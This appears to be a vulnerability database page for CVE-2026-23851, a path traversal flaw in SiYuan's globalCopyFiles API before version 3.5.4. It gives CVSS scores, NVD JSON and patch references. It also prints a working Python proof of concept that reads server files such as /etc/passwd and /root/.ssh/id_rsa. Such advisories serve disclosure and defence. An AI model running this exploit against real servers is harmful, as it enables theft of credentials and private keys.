Security Vulnerability Report
中文
CVE-2026-23851 CVSS 6.5 MEDIUM

CVE-2026-23851

Published: 2026-01-19 20:15:50
Last Modified: 2026-01-30 15:12:25

Description

SiYuan is a personal knowledge management system. Versions prior to 3.5.4 contain a logic vulnerability in the /api/file/globalCopyFiles endpoint. The function allows authenticated users to copy files from any location on the server's filesystem into the application's workspace without proper path validation. The vulnerability exists in the api/file.go source code. The function globalCopyFiles accepts a list of source paths (srcs) from the JSON request body. While the code checks if the source file exists using filelock.IsExist(src), it fails to validate whether the source path resides within the authorized workspace directory. Version 3.5.4 patches the issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:* - VULNERABLE
SiYuan < 3.5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-23851 PoC - SiYuan globalCopyFiles Path Traversal # Target: SiYuan < 3.5.4 # Author: Security Research TARGET_URL = "http://target:8336" API_ENDPOINT = "/api/file/globalCopyFiles" # Authentication (low-privilege user) LOGIN_DATA = { "username": "attacker", "password": "password123" } def exploit(target_file="/etc/passwd"): # Step 1: Login to get session token session = requests.Session() login_resp = session.post(f"{TARGET_URL}/api/auth/login", json=LOGIN_DATA) if login_resp.status_code != 200: print("[-] Login failed") return None # Step 2: Exploit the path traversal vulnerability # The vulnerable endpoint doesn't validate if source path is within workspace exploit_data = { "srcs": [target_file], # Arbitrary file path "path": "/temp/stolen_files/" # Destination in workspace } exploit_resp = session.post( f"{TARGET_URL}{API_ENDPOINT}", json=exploit_data, headers={"Content-Type": "application/json"} ) if exploit_resp.status_code == 200: print(f"[+] File {target_file} copied to workspace") # Step 3: Read the stolen file read_resp = session.get(f"{TARGET_URL}/api/file/getFile?path=/temp/stolen_files/{target_file.split('/')[-1]}") if read_resp.status_code == 200: print(f"[+] File content:\n{read_resp.text}") return read_resp.text else: print(f"[-] Exploit failed: {exploit_resp.text}") return None # Example usage if __name__ == "__main__": # Read sensitive files exploit("/etc/passwd") exploit("/root/.ssh/id_rsa") exploit("/opt/siyuan/conf/settings.json")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23851", "sourceIdentifier": "[email protected]", "published": "2026-01-19T20:15:49.670", "lastModified": "2026-01-30T15:12:24.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is a personal knowledge management system. Versions prior to 3.5.4 contain a logic vulnerability in the /api/file/globalCopyFiles endpoint. The function allows authenticated users to copy files from any location on the server's filesystem into the application's workspace without proper path validation. The vulnerability exists in the api/file.go source code. The function globalCopyFiles accepts a list of source paths (srcs) from the JSON request body. While the code checks if the source file exists using filelock.IsExist(src), it fails to validate whether the source path resides within the authorized workspace directory. Version 3.5.4 patches the issue."}, {"lang": "es", "value": "SiYuan es un sistema de gestión de conocimiento personal. Las versiones anteriores a la 3.5.4 contienen una vulnerabilidad de lógica en el endpoint /api/file/globalCopyFiles. La función permite a los usuarios autenticados copiar archivos desde cualquier ubicación del sistema de archivos del servidor al espacio de trabajo de la aplicación sin una validación de ruta adecuada. La vulnerabilidad existe en el código fuente api/file.go. La función globalCopyFiles acepta una lista de rutas de origen (srcs) del cuerpo de la solicitud JSON. Aunque el código verifica si el archivo de origen existe usando filelock.IsExist(src), no valida si la ruta de origen reside dentro del directorio de espacio de trabajo autorizado. La versión 3.5.4 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.4", "matchCriteriaId": "D3F308D6-1396-4488-9382-0EE485C9289C"}]}]}], "references": [{"url": "https://github.com/siyuan-note/siyuan/commit/b2274baba2e11c8cf8901b0c5c871e5b27f1f6dd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/siyuan-note/siyuan/commit/f8f4b517077b92c90c0d7b51ac11be1b34b273ad", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/siyuan-note/siyuan/issues/16860", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-94c7-g2fj-7682", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit", "Patch"]}]}}